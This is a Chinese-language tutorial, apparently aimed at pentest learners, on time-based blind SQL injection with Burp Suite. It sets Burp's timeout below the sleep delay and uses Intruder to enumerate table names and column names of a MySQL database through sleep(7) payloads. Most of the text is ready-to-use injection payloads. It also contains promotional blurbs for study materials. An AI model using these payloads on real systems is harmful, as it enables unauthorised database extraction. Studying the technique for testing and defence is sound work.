#0x00 Burp和延时注入
使用浏览器进行延时注入时,可以很直观地感受到时间上的延时,但是使用Burpsuite就不行。使用Burpsuite进行延时注入虽然不能直观地感受到延时,但是可以通过别的方式来判断。下面是在延时注入前,对Burpsuite的设置。
简单介绍一下图中红框里的几个参数。
- 正常(Normal ) - 此设置用于大多数网络通信,并确定Burp怎样放弃请求和记录已发生超时前等待。
- 开放式应答(Open-ended responses) - 该设置只用在一个响应正在处理不包含内容长度或传输编码HTTP标头。在这种情况下,Burp确定传输已经完成之前等待指定的时间间隔。
- 域名解析(Domain name resolution ) - 此设置确定Burp如何重新进行成功的域名查找,如果目标主机地址频繁变化时需要设定为一个适当的低的值。
- 失败的域名解析(Failed domain name resolution ) - 此设置确定Burp多久会重新尝试不成功的域名查找。
这些参数的单位都是秒。这里我们需要修改的是第一个参数,即Normal,将其设置为一个比你延时注入的sleep参数小就行。
设置好以后,只要是请求时间超过该值,burpsuite就会丢弃这个请求,你是不会看到该请求的响应的。我们可以利用这个特性来判断延时。
#0x01 使用Burpsuite进行延时注入
这里我先将Normal参数设置为3,一会注入时sleep参数我会设置为7。
#猜解表名
#先猜表的数量
payload: 1' and if((select count(table_name) from information_schema.tables where table_schema=database())=++1++, sleep(7), sleep(0))--+
先设置标志,这里要枚举的是表的数量,就是payload中斜体部分。
枚举的payload设置为数字类型,范围在1-20。
爆破的结果里,只要是没有长度的,都是超时的,没有响应的。
由此可以得出,当前库里有9个表。
PS:在进行爆破时,一定要等到右下角为Finshed时,才会有结果。
【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“资料领取”获取——】
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战经验分享笔记
4.网安大厂面试题合集
5.红蓝对抗实战技术秘籍
6.网络安全基础入门、Linux、web安全、渗透测试方面视频
#猜解第一个表
先猜长度
payload:1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=++1++, sleep(7), sleep(0))--+ 可以得到第一个表名的长度为7
接下来猜表名
payload:1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1), ++1++, 1)=’++a++’, sleep(7), sleep(0))--+
因为这里需要枚举字符位置和字符内容,所以需要使用Cluster bomb模式。
第一个枚举payload是字符的位置,数字类型,范围是1-7.
第二个枚举payload是字符的内容,这里我使用的是ascii范围内可打印的所有字符。
0123456789abcdefghijklmnopqrstuvwxyz!"#$%&'()*+,-./:;<=>?@[]^_`{|}~
这里不包含大写字母,因为mysql不区分大小写。
由爆破结果得到,第一个表名叫comment
PS:先点payload1排序,在点length排序。
#猜解comment表的字段名
先猜字段数量
payload:1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='comment')=++1++, sleep(7), sleep(0))--+
这里枚举的是字段数量。
通过爆破结果,可以得到comment表由4个字段。
接下来猜解comment表的第一个字段名。
先猜长度。
paylaod:1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='comment' limit 0, 1))=++1++, sleep(7), sleep(0))--++
可以得知,第一个字段名长度为2.
找到一个非常nice的入门课程,复制链接即可报名:
https://mp.weixin.qq.com/s/1zfw9KVenN-U_jfpNZbbyw
猜解具体名称
payload:1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='comment' limit 0, 1), ++1++, 1)='++a++', sleep(7), sleep(0))--+
因为这里需要枚举字符位置和字符内容,所以需要使用Cluster bomb模式。
可以得知,第一个字段名称为id
使用Burpsuite进行延时注入的过程就大致如此,获取其他数据的方法与此类似。